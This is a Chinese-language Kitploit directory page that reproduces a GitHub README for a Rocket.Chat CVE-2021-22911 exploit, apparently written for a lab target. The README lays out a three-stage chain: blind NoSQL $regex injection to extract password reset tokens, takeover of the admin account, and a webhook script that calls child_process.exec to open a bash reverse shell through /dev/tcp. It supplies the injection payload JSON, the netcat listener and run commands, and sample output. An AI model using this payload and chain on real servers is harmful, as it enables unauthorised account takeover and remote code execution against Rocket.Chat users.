Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
rocketcat-cve-2021-22911-exploit — CVE-2021-22911 Rocket.Chat NoSQL注入远程代码执行漏洞利用 - 仅供教育目的 | Kitploit
工具/GitHubGitHub/roshanrajbanshi/rocketcat-cve-2021-22911-exploit
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubroshanrajbanshi/rocketcat-cve-2021-22911-exploit

rocketcat-cve-2021-22911-exploit

CVE-2021-22911 Rocket.Chat NoSQL注入远程代码执行漏洞利用 - 仅供教育目的

查看仓库
1197个月前尚未审核
分享

Rocket.Chat CVE-2021-22911 漏洞利用

⚠️ 免责声明——仅供教育用途

此漏洞利用仅供授权的渗透测试和教育目的。未经授权访问计算机系统是非法的。作者对任何滥用行为不承担责任。

📋 概述

CVE-2021-22911 是 Rocket.Chat 中一个严重的未经认证的 NoSQL 注入漏洞,可导致远程代码执行(RCE)。

  • CVSS 评分: 9.8(严重)
  • 受影响版本: Rocket.Chat < 3.12.7
  • 攻击向量: 网络 / 未认证
  • 影响: 完全系统沦陷

🎯 漏洞详情

此漏洞利用串联了三次 NoSQL 注入攻击:

阶段 1:低权限用户密码重置

  • 向低权限用户发送忘记密码请求
  • 使用 $regex 运算符进行盲 NoSQL 注入,逐字符提取密码重置令牌
  • 将密码重置为已知值

阶段 2:管理员密码重置

  • 重复阶段 1,但目标改为管理员账户
  • 通过盲 NoSQL 注入提取管理员密码重置令牌
  • 更改管理员密码

阶段 3:远程代码执行

  • 以泄露的管理员账户进行身份验证
  • 创建包含 JavaScript 载荷的 Webhook 集成
  • 载荷使用 Node.js 的 child_process.exec() 生成反向 Shell
  • 触发 Webhook 以执行反向 Shell

🛠️ 前置条件

pip install requests

🚀 使用方法

1. 启动 Netcat 监听器(终端 1)

nc -lvnp 4444

2. 运行漏洞利用程序(终端 2)

手动输入 IP:

python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i 10.9.0.1 \
  -p 4444

自动检测 tun0 IP(推荐):

python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
  -p 4444

参数说明:

  • -u:低权限用户邮箱(必须存在)
  • -a:管理员邮箱
  • -t:目标 URL(Rocket.Chat 实例)
  • -i:攻击者 IP(tun0)
  • -p:Netcat 监听端口

输出示例

============================================================
  Rocket.Chat CVE-2021-22911 — RCE
  Target : http://chat.rocket.thm
  Shell  : 10.9.0.1:4444
============================================================

[PHASE 1] Low-priv user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
    [43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Password changed to: P@$$w0rd!1234

[PHASE 2] Admin user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
    [43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Password changed to: P@$$w0rd!1234

[PHASE 3] RCE
[!] Start your listener now:  nc -lvnp 4444
[*] Press Enter when nc is ready...
[+] Authenticated as [email protected]
    userid : userid123456789
    token  : token123456...
[+] Webhook created
    http://chat.rocket.thm/hooks/hookid123/token456
[*] Triggering reverse shell...
[+] Trigger sent — check your nc listener

🔍 技术细节

NoSQL 注入载荷格式

{
  "message": {
    "msg": "method",
    "method": "getPasswordPolicy",
    "params": [
      {
        "token": {
          "$regex": "^abc"
        }
      }
    ]
  }
}

RCE 载荷(Webhook 脚本)

class Script {
  process_incoming_request({ request }) {
    const require = console.log.constructor('return process.mainModule.require')();
    const { exec } = require('child_process');
    exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
  }
}

📚 参考

  • 原始漏洞利用:enox - Exploit-DB 50078, 50108
  • 漏洞分析:SonarSource 博客
  • CVE 详情:CVE-2021-22911

📝 致谢

  • enox – 原始漏洞利用开发
  • SonarSource – 漏洞研究与分析

⚖️ 法律声明

此工具仅供教育用途和授权安全测试。未经授权访问计算机系统违反《计算机欺诈与滥用法》(CFAA)及类似的国际法律,属于刑事犯罪。


请负责任地使用。仅测试您拥有或已获得明确书面许可的系统。

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    591
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    481
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    389
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    332
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    255
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    247

探索所有工具

浏览我们的工具集合

查看所有工具 →